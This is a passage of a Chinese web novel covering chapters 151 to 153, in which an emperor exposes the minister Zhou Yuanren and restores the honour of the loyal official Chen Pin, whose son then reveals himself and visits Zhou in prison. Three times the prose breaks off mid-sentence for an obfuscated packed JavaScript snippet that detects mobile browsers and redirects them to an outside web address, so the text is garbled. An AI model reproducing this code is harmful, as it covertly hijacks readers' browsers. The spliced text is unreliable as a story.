苏清晓冷笑一声侧头望了萧祺栩一眼,萧祺栩顿时明白了他的意思,他面色和气地朝周原任一笑,“这么多年周大人辛苦了,我定然不能回绝了您颐养天年的乐趣。不过您离开之前,我还有一事请问。” “我当日离京时尚且年幼,已经记不得多少事了,还望周大人帮我回忆回忆,当初西芥的来信上,写的是我的名字吗?” 萧祺栩此话一出,满堂哗然。所有人都以为萧祺栩会对当初之事闭口不谈,否则他也势必要陷入身份危机,可他今日所言都像是全然不在乎,他用谦卑的口吻问候着周原任,周原任却吓出一身冷汗。 看过那封诏书的人都死了,除了他。 如今萧祺栩旧事重提,其中意思不言而喻,可若周原任认了诏书所写并非直指萧祺栩,那他又要怎么解释当时他信誓旦旦说西芥要的就是先皇后的嫡子。 “这……老臣上了岁数记不得事了,还望陛下恕罪。” 好一个装疯卖傻,萧祺栩料定周原任不会轻易松口,他往前探身继续问道:“那周大人可曾知道当日我所在的马车为何会突然变道?我记得参州是您的故乡,您回家探亲时可有听到些风声?” 参州,周原任紧张到咽了咽口水,他现在觉得自己在今日提起乞骸骨简直就是大错特错,他一定是出门没有看黄历。 可周原任不知道的是,为了今日苏清晓和陈京观已经准备了很久了,久到他们曾经以为这一切都是幻想。 “老臣祖籍参州确实不假,可家中长辈早些年就举家搬来阙州了,我与参州的旧故不算相熟。” “那弗行远你可还记得?” 一瞬间,周原任跌坐在地上,他扶着那冰凉的地砖止不住的打颤,他明白这一天终究还是到了。 “前些日参州知州来信,说是有人检举周氏珠宝行与红山几家砖窑暗中勾结,当年城堑事故也是周家的手笔。我叫人将此事压了下来,想着来日再同您一议,可您今日就要请辞,我也是迫不得已就将此事放在台面上说了。” 周原任还发着抖,他勉强挤出一个笑,怯生生地望着萧祺栩。 “皇上,这些事臣绝对没有参与!臣是清白的,您一定要相信我啊!” “我当然信您,”萧祺栩的语气充满诱惑,“就是因为信您,我才问您可还记得当日的事情?在我的印象中,我的马车遭了山匪劫持,陈大人为了救我而掉下山崖,可我那时候太小,不知道我的记忆对不对啊?” 萧祺栩说话时微微上扬眉眼,在周原任没有注意到的角落,陈京观站在群臣列队的最末尾,他听到萧祺栩提起陈频时不自觉乱了呼吸,他身边的大臣看了他一眼,面色有疑却不敢声张。 “对对对!臣想起来了,当日就是这回事!” 周原任一个鲤鱼打挺,他一边朝前爬一边说,“我听老家的人说当初西芥的遏佐甚是可恶,总是爱到参槐二州来耀武扬威,想必当时就是他拦了您的马车,让您的马车夫变了路线。” “周大人都想起来了?” 萧祺栩语气中的讽刺不掩分毫,周原任舔着脸点头如捣蒜,他看到萧祺栩叫来了内侍,那内侍手上拿着一封早就写好的诏书。 “念。” “朕念故忠义郎陈频,昔年临危受命,卒全朕躬。然朕离京数载,奸佞构煽,致使忠魂蒙垢,义士衔冤。今真相既白,朕心震悼,兹特追封陈频为一等忠勇公,赐谥“文清”,敕令工部择吉地重建陈家祠堂,规制从优,以彰殊荣。其灵位特设于正殿,以慰忠魂。凡陈氏子孙,优加抚恤,荫及三代。自今以往,敢有妄议陈频忠节者,以欺君罔上论,决不宽贷。钦此!” 151.凤鸣朝阳(一) “既然周大人是除却我之外唯一还能对当日之事说上两句的人,那想比你我二人的记忆总不会同时说谎。自登基后我寝食难安,每每念及当日之事,便深觉愧对陈大人,愧对了他一家。如今周大人也算是与我一同做个见证,还这忠臣一个清名。” 周原任连连道“是”,现在恐怕萧祺栩说什么他都会说“是”。萧祺栩侧着脸睨了他一眼,让内侍出去宣旨,他抬头时看到角落处的陈京观微微朝他点头,萧祺栩回给他一个微笑。 “不过,”萧祺栩话锋一转,在场的人都不自觉汗毛竖立,“弗母前些日子上京,今早她敲了登闻鼓,她哭诉说她儿子是清白的,弗行远所做都是受人胁迫。那人说若弗行远不死,他们一家都不能活。” 萧祺栩及时止住了话头,“看来周大人暂时还走不了,有些事情等我查清楚了,我会给您一个交代。” 闻言,周原任像是泄了气的面袋子,他的力气随着呼吸走远,那双眼睛怔怔望着前方。他想过会有今天,在崇宁被抬出崇明殿的那一天他就已经想到了。 他承了崇宁一辈子恩德,那他岂有独活的道理?周原任就是断了根的树,只等着一阵大风将他连根拔起。 不过若说崇宁这辈子唯一信对的,恐怕也只有周原任了。 作为一个无才无德的人,周原任知道自己能得到这一切都是因为自己有个好女儿,是她帮自己攀上了崇宁这只凤凰,所以周原任对崇宁马首是瞻。 不过周原任也犯过蠢,他信过蒋铎说帮他拥立萧祺枫做皇帝,然后让他做丞相的话,但是蒋铎死后周原任也就认命了。 连蒋铎都抢不来的东西,他又凭什么和崇宁抢? 周原任这六十多年摊开了看,其实也没什么遗憾了,他送走了一个又一个政敌,甚至活成了崇宁一党的最后一个人。 周原任苦笑着看向萧祺栩,那一刻他还以为看到了萧霖。 “皇上,您说人这一辈子到底图什么啊?我活了这么久,还是没想明白,不过我知足。” 说罢,周原任由着刑部的人带了下去,苏清晓用眼神示意莫汝安,莫汝安点了点应和着。 临走到门前时,也不知怎的,周原任突然抬了头,也是这一眼,他看到站在阴影里的陈京观。 “这不是少将军吗!您还活着!太好了!” 周原任像疯了一样冲上去抱住陈京观,陈京观往后退了一步避开他。不过周原任这一嗓子引来殿内所有人的注意,他们交头接耳议论着陈京观。 “反正我都要死了,救了你老子,我还不得拉着你陪葬?” 在人声嘈杂中,陈京观听到周原任贴在自己耳边嘟囔着,陈京观嫌恶地瞥了他一眼,抚平了被周原任弄皱的衣服。 “可少将军不是在朔州一战战死了吗?怎么今日还会出现在这大殿上?” 周围跟着周原任起哄的陈京观一个两个都能叫得上名字,他们是周原任的小鬼,此时都纷纷凑上来要吸陈京观的血。 他们知道周原任活不了,他们自然也就没命了,此时能逮到陈京观,他们表现得像是临上刑场的囚徒看见了最后一顿美餐。 “可假死脱罪,这不是欺君?” 又有人应和着,越来越多人朝陈京观的方向看去。 此时陈京观算是彻底感受到了成为众矢之的的感觉,他看到离自己很远的甄符止也望着他,连带着他身后的关策和莫汝安。 陈京观为了保险起见,在领兵攻打阙州前没有向任何身在朝堂的人透露自己的行踪,如今这三个人的眼睛像是三支箭贯穿了陈京观的身体。 “敢问……” “在下陈频之子陈景豫,见过各位大人。” 陈京观堂而皇之地回应着所有猜测,他一张嘴便给了所有人一记惊雷。 如今的陈频成了一等忠勇公,萧祺栩还下了对陈家“优加抚恤”的旨意,那些原本还在心里暗嘲陈家还有谁能承蒙荫德的人此时都傻眼了。 既然陈频无罪,那陈景豫又何罪之有?他活着,那是英烈之后,是萧祺栩所说不可妄议之人。 那陈景豫清白了,他活着出现在众人面前又有什么问题? 陈京观的话像是给本就沸腾不止的汤锅火上浇油,朝堂上的声音更加纷杂,可陈京观不为所动,他环视一圈继续道:“不久前皇上找到了我,他说让我务必在今日来这堂上,他说他要还父亲清白,他说他一定要让我亲耳听到。” 所以陈京观真的死了,在那日攻破阙州城的时候就死了,亦或许更早,他真的死在了朔州。 此时此刻站在崇明殿的,是陈频的独子,陈景豫。 “听大人说,是我与鼎鼎大名的少将军有几分相似?倒是陈某之幸。” 陈京观恭敬地朝过去的自己行礼,他面前的周原任也慢慢回过味来,那双苍老的眼睛望着陈京观像是要把他生吞活剥。 “你胡搅蛮缠的本事果然不是浪得虚名,好,我服了。不过陈京观,不,陈景豫,”周原任一字一顿,他由身边的下人钳住胳膊,陈京观目光灼灼盯着他,“比起你父亲,你还差得远呢。他都斗不过帝王心计,你又有什么本事?” “记住我今天的话,能坐上皇位的,没有一个善人。” 周原任回头看了一眼高高在上的君主,萧祺栩对他的话听得很真切,此时他就面带微笑看着周原任,任由一个将死之人用尽他最后的心力。 其实即便周原任今日不主动请辞,萧祺栩也会主动提出为陈频沉冤昭雪,他和陈京观算过了,只有今日启程,那座京观属于陈频的部分才能在陈频祭日的时候被送回阙州。 他们心里都明白,再见到的只不过是黄土一抔,可陈频就在那里,他们忘不掉,也忍不了。 “还有其他的事情吗?没有的话退了吧。” 苏清晓出声打断了周原任充满仇恶的眼神,他摆了摆手让下人直接将人送进刑部。 周原任的寥落,给今日退朝的气氛平添了几分不可言说的低沉,大臣们离开时的步子不由自主地加快了速度,就好像稍微走慢一点就会被带去宣威坊。 萧祺栩冷笑了一声没有在意,他转头对着内侍耳语了几句,内侍随即叫住了要往外走的甄符止。 “甄大人,皇上请您去书房一叙。” 甄符止顿了一下,他抬头时看着陈京观站在原处一动不动盯着自己,他几欲开口,最后只憋出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405889|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一句“一同去吗”,陈京观点头,跟在了甄符止身后。 陈京观也说不上他和甄符止怎么变成了今日这般关系,可方才甄符止看他的眼神他从来没有见过,那其中的还带着陈京观没有看懂的怅然若失。 “你先下去吧,我和陈公子说说话。” 甄符止显然还没有习惯陈京观的新身份,那句“陈公子”他叫出口时别扭极了,内侍俯首退下,徒留两个人的脚步在崇明殿内回荡。 “陈景豫,”甄符止小声念了一遍,“当初你母亲刚有了你,陈大人就已经替你起好了这个名字。等着你来到人世的那些日子,是我见到的陈大人最快乐的日子。” 甄符止说着不禁低下头轻笑,陈京观抿了抿嘴不知道该说些什么,可他还没来得及收回自己的目光,甄符止就止住步子叫住了他。 “那陈京观呢?他真的死了吗?” “是,他死在朔州了。” 陈京观的回答斩钉截铁,甄符止看了他一眼,眼神里的唏嘘不掩分毫,“比起陈家独子,我倒是更喜欢那个从雍州来的小子。明明你们这么像,我却还是觉得不一样。” “哪里不一样?” 甄符止像是陷入了回忆,又像是在认真思考陈京观的话,过了许久,他开口道:“我知道我没有权利替那些人说话,可我想问一句,你要杀了所有人吗?也包括我吗?” 陈京观怔住了,一开始他没有听懂甄符止所指的意思,后知后觉明白了,他又觉得一阵冷汗骤起。 “我听说苏大人最近在清理崇宁埋在朝堂里的眼线,不知下一次再上朝时,我身边又要少多少人。说起来,光清理崇宁的人不够,还有先帝,还有太上皇的人,陈频和陈京观的死,我们所有人都难逃其咎。” 甄符止朝陈京观走进了一步,明明是五月,他身上却带着沁入骨髓的寒冷。 “可这其中有多少无辜之人少将军可知道,我们没能力反抗,我们也不过各司其职,但我们用命守住这南魏等您回来,您当真要杀了所有人?” 还没等陈京观说话,二人背后突然响起一声冷笑,陈京观转身,看到苏清晓朝自己走过来。 “你以为他们有谁是好的?迁都之日势必是满朝文武哗然,却没有一个人问一声那这万万百姓呢?他们都知道保住自己的性命最要紧,他们到真是自始至终都没变过。甄符止,他们早就是一丘之貉,你想从他们身上找到什么转机?” “那我呢?” 甄符止笑着,微微倾身朝苏清晓行礼。苏清晓将甄符止从上到下打量了一番,“当日迁都,是甄大人的主意吧。” “正是。” 甄符止毫不避讳,他迎上了苏清晓的目光,两个人眼神交叠之处火星四溅。 “我能问问为什么吗?” 听到苏清晓的话,甄符止先是一愣,而后像是突然被无力感占据上风,他朝后退了一步,伸手推开玄窗,让风直扫在他脸上。 “因为不迁都,不能活。当日若我们真的留在阙州,你们今日要面对的就不是我们,而是江阮了。” “我们迟早会遇到。” 甄符止笑了,“可不是现在,也不能是现在。” 152.凤鸣朝阳(二) 苏清晓望着他的眼神冷了几分,他甚至能想到当日就是这群人,用同样冷漠的眼神看着苏晋死在了大殿上,然后他们冠冕堂皇地说这一切都是命。 可还没等苏清晓反驳,甄符止突然又开口,“你们都是好孩子,你们都是南魏的希望,可你们知道吗?我曾经也是你们这副模样。” 甄符止背对着二人,眼眸低垂的瞬间没有一个人能看见。 “我曾经痛骂崇宁专权,斥责萧霖软弱,我觉得苏门三子的下场太过唏嘘,也觉得蒋铎这样的人迟早会毁了南魏,可我已经不是当初的我了。你们俩知道将这朝廷重新洗牌,你们要面对什么吗?” 甄符止转身,苏清晓看着他的眼神变得复杂,不知为何,他从甄符止身上看到了往日苏晋的影子。 “你们今日能杀了周原任,能杀了与他狼狈为奸的所有人,可周家的势力不会消失,他们只会被更强大的世族瓜分,然后那些人将变得更加难撼动。我们曾经夸耀南魏风骨,可这风骨,其实就是世家风骨。” 很久之前苏清晓问过苏晋,“陈频死了,您为什么不去拼一拼?哪怕是蚍蜉撼树,也总比亡羊补牢要好。” 苏晋没有直接回答他的问题,他反问道:“苏清晓,若你真的推倒了那棵树,你又有何枝可依?” 苏清晓觉得此时甄符止的话和苏晋有异曲同工之意,他们都在问苏清晓,杀了这些人,南魏还是南魏吗?你又能用谁来撑起南魏? 甄符止见苏清晓有些出神,长叹一口气,“萧霖之所以会重用苏门三子,是因为当初的他和现在的你们一样,他希望借你们父辈的手清除掉这盘根错节的利益关联。可他去马场前找过我,他说他错了,他发现砍掉世家的南魏,就是将自己做了人彘。” “可不能因为它存在,就认为它合理,错的就是错的,错的就该被改正。” “你也说了,是改正,而不是清除。” 甄符止望着苏清晓的目光柔和了下来,“南魏建国百年,你说当初的始皇帝怎么就能让这些世家俯首称臣?我们要让他们活,却不能让他们活得太好。” 甄符止见苏清晓望着自己的眼睛有些发直,走上去拍了拍他的肩,他感觉苏清晓被他触碰到的那一瞬颤了颤,他便用手扶住他。 “不要让已经发生的事情左右你未来的决定,苏大人当日离开时无怨无悔,从陈频死后,苏晋没有一日不在等着那一天。不过要说遗憾,那可能还是有的,”甄符止感觉苏清晓忍不住地在发抖,他沉了沉心,“他很想你,很想见见你。” 甄符止的话仿佛止住了风,也止住了苏清晓的心跳,他心口那个从不离身的香囊里,苏晋的那份信像是包裹住了他的心,很用力,让他只觉得痛。 “父亲,他葬在哪里?” “明日我带你去,我也好久没去看看他了。” 苏清晓抬头,甄符止笑着望他,“看到你们都还好好的,这就足够了。我和萧霖也算是没有干一场。” 听到萧霖的名字,原本在一旁若有所思的陈京观只觉得身子骤然一紧,他心里有太多话想说,却找不出一个能让他的开口显得没有那么咄咄逼人的由头。 “朔州……” “自从知道你是陈频的儿子,萧霖就没有想过要害你。也是因为陈京观的死,萧霖才彻底和崇宁翻了脸。他到死都在想如果那个藏在兴安王背后的人是你就好了。” 甄符止打断了陈京观的话,他望着陈京观的目光坚定而又决绝,“他这辈子辜负过太多人,其实多你一个不多,可你是你父亲留下来的唯一一个念想了,萧霖每次看到你都像是在读自己的罪己诏。” 陈京观说不出话,当甄符止用直白的语言替他将心中的一切做了印证,陈京观就失去了能埋怨萧霖的所有理由,随之而来的是萧霖的死像延迟的阵痛蔓延陈京观全身。 其实陈京观从来没有怨过萧霖,或者说当初的怨恨在萧霖对他一次又一次包庇和偏袒中消亡了。 陈京观责怪过萧霖的懦弱,可偏偏是那般懦弱的人,在最后机关算尽的时刻,用自己的命换了陈京观能回来。 “他很早就写好了派兵的诏书,但是没送出去。这件事情我们后来查了,关大人也将通政司从上到下排除了一遍,无果。” 甄符止的话将陈京观从无尽的失落中打捞起来,他浑身上下好像还滴着水,可他的大脑却先他一步恢复了理智。 所以,真的还有一个躲在暗处的影子。 那个人拦下了萧霖的诏书,帮崇宁先一步逃离盛州,或许他还做过其他事情,只是陈京观还没有发现。 原本以为告一段落的故事,那个句点被人涂黑,慢慢画出一道尾巴,成了预示着故事未完待续的逗号。 “呵,”陈京观轻笑一声,“可就是这样的人,我们也不能杀吗?” 甄符止说的陈京观都明白,可他还是不甘心就这样放过那些人,过往的一桩桩一件件,那些躺在血泊里睁着眼睛看他的人,陈京观都忘不掉。 他想彻底将南魏累了多年的尘灰扫尽,还给萧祺栩一个干干净净的皇位。 这一次,陈京观要如同那些故事里的反派一样,将一切站在他对面的人赶尽杀绝。 “景豫,”甄符止望着陈京观的眼神多了一分心疼,“你要赢过他我知道,可你不能变成他啊。” 可推着陈京观走到现在的,就是那句“我要成为他”。 一瞬间,一股从内心深处渗出来的讽刺占据了陈京观的身体,他的笑声从腹腔中如水波一般荡漾,他低头看着自己的双手,不知何时,这双手上的血就已经洗不清了。 “甄大人,能不能让他们活,我说了算,而他们能不能活得好,他们自己说了算。只有这样,我们才不会重蹈覆辙,才不会被无谓的怜悯冲昏了头脑。” “无谓的怜悯……”甄符止眉头紧皱,“你觉得你从前所做的,都是无谓的怜悯?” 陈京观的动作怔了怔,“我依旧会对所有想要活下去的人伸出手,可我不会再跳下水去托举他们。人自私一点,有什么不好吗?如果我早一点认清,或许许多事就不会发生,有很多人就不会离开。我为此付出的代价够多了。” 陈京观说完没有再给甄符止反驳自己的机会,他看了苏清晓一眼,两个人心有灵犀般一起动身向外走。 “您也不用去书房了,是我让陛下将您留下的,我只是没看清你方才看我的眼神。” “那你现在看清了吗?” 陈京观的步子没有丝毫停顿,他与苏清晓的身影行将踏出崇明殿时,甄符止听他说了句“看清了”。 “甄大人,”陈京观转身,甄符止看到他的半张脸在阳光下忽明忽暗,“纵使您是对的,可那是也是治国的手段,如今我要做的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410652|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先保下南魏,将那些失地从江阮手里抢回来。恕我愚笨,我能想到的唯一办法就是变成他。” “至于将来,我希望终有一日您能将今日所说变成现实,我替萧祺栩先谢过了。” 陈京观微微弯腰,随后他头也不回地离开了崇明殿。只是没走几步,他望见莫汝安站在不远处看着自己。 “莫大人是在等我?” 莫汝安点头,“人我送进去了,陛下的意思是您来审。” “我?”陈京观轻笑一声,“我如今无官无职,要以何身份出现在他面前?” 苏清晓用手戳了戳陈京观,陈京观意识到自己还没有从方才和甄符止的对话里走出来,他微微欠身说了句“抱歉”,示意莫汝安领路。 “和甄大人的聊得不太愉快?” 临近刑部大牢,那股阴森的气氛将周围的温度拉低了许多,莫汝安一路上忍着没说话,此时他乍得开口,陈京观摇头应着,“倒也不是,甄大人的话让我受益匪浅,我只是有些恼自己。” 苏清晓侧身看了陈京观一眼,虽说过去十年他们没有见过,可与陈京观朝夕相处的这小一年,苏清晓能感觉到陈京观内里还是从前那个陈景豫,也正因此,他明白陈京观能将刚刚那段话说出来花了多少力气。 无谓的怜悯,苏清晓诧异于这样的字眼会从陈京观嘴里冒出来,可他同时又生出不适时的喜悦,他希望陈京观真变得自私一点,虽然这过程也足以让陈京观痛苦。 若说是朔州一战让陈京观学着去变得自私,那崇宁的死就是在让陈京观学着去麻木。 事实证明这些事情他不是做不到,他不是不能像江阮一样,可那些死亡的余波没有一刻不在攻击他。 他心里最要紧的事情解决了,可那个最大的麻烦却依旧存在。 莫汝安听出了陈京观在回避,识趣地止住了话头,他招了招手让狱卒过来,引着他们往大牢最深处的监室走去。 “我知道比起甄符止,我与您的关系更不足以让我对您的想法多加评议,可我心里一直憋着一句话,自从我知道您是陈大人的儿子后就一直想找人说说,您权当是我的牢骚吧。” 离目的地还剩一个转角的时候,莫汝安拉住了陈京观的袖子,他脸上的皱纹被羞愧的情绪填满,陈京观什么也没说,停住脚等着着莫汝安的下文。 “老师离京前推任我做了刑部尚书,可他留给我的最后一句话是告诫我人不要太过耿直,保命要紧,所以我这些年一直像墙头草一样,硬生生把自己活成了令从前的我不齿的模样。直到您的死讯传来,萧霖问我可愿意为了老师,为了你再试一次,我没有犹豫地应下了。” 莫汝安缓缓勾起嘴角,“其实要不是老师最后那句话,我送他离开时本要告诉他,我愿意做老师的最后一把刀,用刑文替南魏刮骨疗伤。可老师知道我要说什么,他望着我摇头,让我务必保全自己就好,他说他不希望我成为下一个陈频。” “这么多年若不是老师的那句话,我恐怕早就死于党争了。可您知道吗,老师的死让我知道即使你做一只鹌鹑,也依旧会有人盯上你,所以我答应了萧霖,我想哪怕是死,我也要像陈频一样。” “陈景豫,”莫汝安突然顿住,他的胸口因为激昂的情绪起伏不定,“不管你做什么决定,只要你是为了赢过江阮,我都会帮你。我要亲手送他下去给老师偿命。” 153.凤鸣朝阳(三) 莫汝安的目光如同这牢狱里最炙热的火烛,明亮还带着滚烫,他说完后朝陈京观深深鞠了一躬,转身离开了大牢。 莫汝安的话将陈京观禁锢在了原地,就好似他也被关进了这刑部大牢。他曾经怀疑过莫汝安就是那个影子,而今日莫汝安言辞恳切,将那日没能告诉温书让的话都告诉了陈京观。 用刑文替南魏刮骨疗伤,陈京观在嘴里一遍又一遍念叨着,他身边的苏清晓轻轻拉了一下他的衣袖,“走吧,我们至少知道了他是好的。” “可他有句话说错了。” “哪一句?” 陈京观深吸一口气,边走边说道:“我不会让他成为下一个陈频,或者说他可以是,但是他的家人不该受着。” 陈京观不希望又一个十年后,一个姓莫的少年如同他一般提刀上殿,甚至他可能活不到那一日。 “温大人可有立碑?” 陈京观摇头,“我那日去的时候只剩一片废墟了,我已经找不到他了。” 苏清晓侧过头看了陈京观一眼,“那为他在我父亲旁边立一座衣冠冢,人总还是得找个地方落叶归根。” 陈京观“嗯”了一声,两个人的脚步声在这空旷的刑部大牢显得尤为清晰,他们临近最角落的那座监室时,陈京观转身避退了身后的狱卒。 “你来了,坐。” 灰暗的角落,周原任气定神闲地靠着墙边,他听到陈京观的声音后睁眼瞥了他一眼,随后又继续保持原来的姿势闭眼假寐。 “周大人当真是能成大事之人,这坐怀不乱的气势令我佩服。” 陈京观笑着抱拳躬身道,周原任连连发笑,他拍掉沾在身上的稻草,走到那扇唯一的小窗投下的日光里,他看着陈京观,就如方才在堂会上一样。 “反正都是将死之人了,还劳烦你屈尊降贵到这牢里看我一眼,说吧,还想知道什么?” 陈京观笑着没应,他看了看地上沾满污垢黑漆漆一团的垫子,犹豫了一下还是没有坐下身去。 不过他的动作全映在了周原任眼里,眼前的人嗤笑一声,扶下腰将垫子拉到自己脚边,缓缓蹲下去。 “这地方不是你能待得了的,想当日你母亲在这座监牢也不过就住了三日,等她出来时也都没了人形。你外祖那一套刑讯手段很厉害,这屋子里死了不少人。” 周原任望见陈京观的表情丝毫没有变化,微微挑眉道:“不错,是比从前那个冒冒失失的小子长进了不少,至少会装了。” 陈京观低眸看着周原任,那束光打在周原任身上像是给他镀了一层金边,好似刚才在朝堂的慌乱得不成样子的人不是他。 “周大人的演技也精进了不少,方才堂上惊慌失措的模样演得真好。” 周原任脸上笑意渐浓,他若有所思般点头应道:“要不然你和萧祺栩还要为我罗织多少罪名?刚才我说的都是实心实意的话,反正生与死就是一念之间,我的确知足了。” 见陈京观脸上的表情将信将疑,周原任无奈地摇头道:“你觉得我的根本是什么?” “您的女儿。” “不错,你说的有道理,”周原任哈哈大笑,可随即停下动作抬头望着陈京观,“你猜为什么就我能把女儿送上后位?当初适龄的姑娘不少,你母亲也曾是崇宁的人选。” “你还挺得意?你简直就是恬不知耻!前半辈子靠家里,后半辈子靠女儿,周原任,你活到今日难不成真的靠自己做过什么事情吗?” 苏清晓讽刺地抨击着周原任,陈京观默不作声地一旁听着,他时刻关注着周原任的表情,却发现他好似真的没有觉得自己过去所做是什么荒唐之事。 “苏清晓,不要以为你如今做了帝师就能在我面前耀武扬威,我叫你一声‘苏相’,多是看在你父亲的面子上,你们苏家那一摊子烂事抖搂出去你也别想活。还有,你觉得萧家的人会这般听话?萧祺栩就能永远做你的傀儡?你才是在做梦!” “我何时说过他是我的傀儡!” 苏清晓回避了周原任话里对苏家的含沙射影,他承认他在听到那句话的时候恍惚了一下,可很快他看清了自己的位置。 苏家就是再不堪,如今登上相位的也是他苏清晓,他才不要陷入自证陷阱,真相是什么,如今他说了算。 眼看着两人剑拔弩张,陈京观不经意向后退了一步,彻底将屋子中间的位置留给二人做战场,苏清晓察觉到他的动作白了周原任一眼,周原任却笑着摇头,没有再理会苏清晓的怒目而视。 “陈景豫,想听听你母亲的故事吗?你应该知道不少关于陈频的事了,那温润呢,你又知道多少?” 陈京观没有说话,但是他看着周原任的眼神给了周原任回答。 “温家二女,长女名润,小女名浅,早在你祖父还是侍郎之时上门说亲的人就要踏破温家门槛了。可此二女面容娇美,性子却不似其名,尤其长姐温润,那是出了名的泼辣。” 当日秋闱放榜,温润本不打算去凑热闹,是妹妹硬拉着她去城门前看,说是要从新出头的举子里选一个如意郎君。 温润笑她没骨气,何不靠自己寻个出路,温浅则说姐姐是铁树不开花,亏了那样好的皮囊。可那日寻到心上人的不是温浅,而是温润。 温润也不知道自己为什么会一眼相中陈频,明明那时陈频身边围着苏晋和孟知参,三个人在人堆里都是一等一的耀眼,可温润只看到了陈频,温润觉得陈京观举手投足间有温书让年轻时的风度。 也是后来,温润才知道她看上的是当年的状元。更巧的是,陈频在封了官后,直接带着媒婆上门提亲。 “温大人,学生陈频今日登门只为能得令嫒青睐,如有唐突,还望大人恕罪。” 温书让听到两个女儿在屏风后嘀嘀咕咕个不停,假意咳嗽了一声。他是对陈频很满意,但他觉得万不能让外人觉得他嫁女心切,日后薄待了他的掌上明珠。 于是温书让顿了顿装腔作势地问:“你为何看上了我家的女儿?” 陈频抬头,温润好似隔着屏风与他对望,他嘴角微微勾笑,“不瞒大人说,当日初见温润,我的确是见色起意,后来我多方打听才知晓她是您府上的千金。旁人都说温润是仙女,从来不会瞧凡人一眼,可我陈频不信,仙女也总要吃饭,也不能真的不食人间烟火。” 那天陈频在温府待了一下午,他从择菜做起,直到将那碗饽托端到温润面前。 “试试?” 陈频期待地望着温润,温润瞧了瞧父亲,温书让笑着点了点头。 温润咬下去的瞬间,内馅的汤汁包裹住了她的味蕾,那股暖意顺着她的喉咙流遍全身,可她依旧故作矜持地问陈频,“你为什么要给我做这个?” “听闻你母亲从小是在北地长大的,我想着你应该也会喜欢。我问了故友,按照北梁最传统的做法做的,还算正宗吗?” 陈频的语气小心翼翼,可温润却湿了眼眶,自从母亲离开后,温润总会在母亲忌日的时候自己学着母亲的样子做饽托,可没有一次能做出母亲的味道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415707|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈频做的也不像,可温润寻到了第二个还能给她做饽托的人。 大婚那日,温润看着微醺的陈频,她又一次问他,你为什么会看上我,只是这一次陈频哭了,他泪流满面地抱着温润。 “我想找一个能托住我的,我怕摔下的时候太疼,对不起。” 这句话一语成谶,只是那时的陈频风头正盛,他原不应该对萧霖有所怀疑。 或许是和帝王相处久了,陈频敏锐地察觉到了萧霖和崇宁之间微妙的关系,他发觉崇宁的手越深越长,而萧霖一再退让,没多久丛选就死了。 陈频觉得丛选就是自己的前车之鉴。 那一夜,他承认了他选择温润有温书让的缘故,他从来不是个没有算计的。出生在一门十三贤士的陈家,陈频太知道这朝廷的波谲云诡了,所以他给自己找了个依托,他希望温书让能护住他。 温润没有怪他,但从那时起她更在乎她自己,也更在乎她的父亲。她知道陈频不会轻易用出温书让这张底牌,可温润还是怕那一日会出现。 怕什么来什么,在陈频被疑叛国后,萧霖找上了温书。 以当时温书让的势力,他大可以先压下这个罪名,至少给这件事一个从长计议的机会,可这也代表着温书让站上了崇宁的对立面,那将会让他的后半辈子永远和陈频捆绑在一起。 也是在这间大牢里,温书让抱着奄奄一息的温润泣不成声,他一遍又一遍叫着女儿的名字,温润迷迷糊糊睁开眼,看到是温书让的时候她笑了。 “父亲,他从来都知道自己要做什么,所有人在他眼里不过是棋子,他很爱我,但这不妨碍我也成为他计划里的一环,可我不允许他拉上您。” 温润咽下了喉咙里的血水,一股刺痛拉扯着她的理智。 “我不知道他在做什么,但我知道他做过什么。告诉萧霖,陈频是为他而死,我认罪,但是他无论如何要保住您。” 那一年,温书让失去了自己的两个女儿,偌大的宅院,空荡的能听到他叹气的回响。 “听到这些,你还觉得陈频是你心目中那个纯白色的人影吗?” 周原任的故事讲完了,陈京观的目光始终垂在某个不知名的砖缝里,他没有表现出周原任以为会出现的的那种知道真相后痛不欲生的表情,他甚至眼角的开合都没有变过。 “这一切你知道?” 陈京观摇头,“今日第一次听说。” “那你为何一点也不惊讶,一点也不失落?陈频可是万千学子心目中的完人,你对他是如此一个满心算计的人竟没有一丝幻灭的感觉?” “你也说了,那是万千学子心目中的他,可他是我父亲,”陈京观向后退了一步,斜靠在墙上歪着头看周原任,“有没有一种可能,我曾是他棋盘里的那颗杀子?” 陈京观看到周原任蜷缩着的身体颤了颤,整个人在那张肮脏的小木桌旁显得格格不入。 陈京观不喜欢周原任,无论是从前还是现在,但是看到他如今出现在这里,陈京观脑海里出现了很多人,他们同周原任一样都成了这笼中雀。 “我最终还是没能完成他的愿望,”陈京观轻笑一声,“因为他的计划里遗漏了最重要的因素,我并不是他。” “可你还是成了,无论是运气还是实力,你总还是胜了他一筹。” 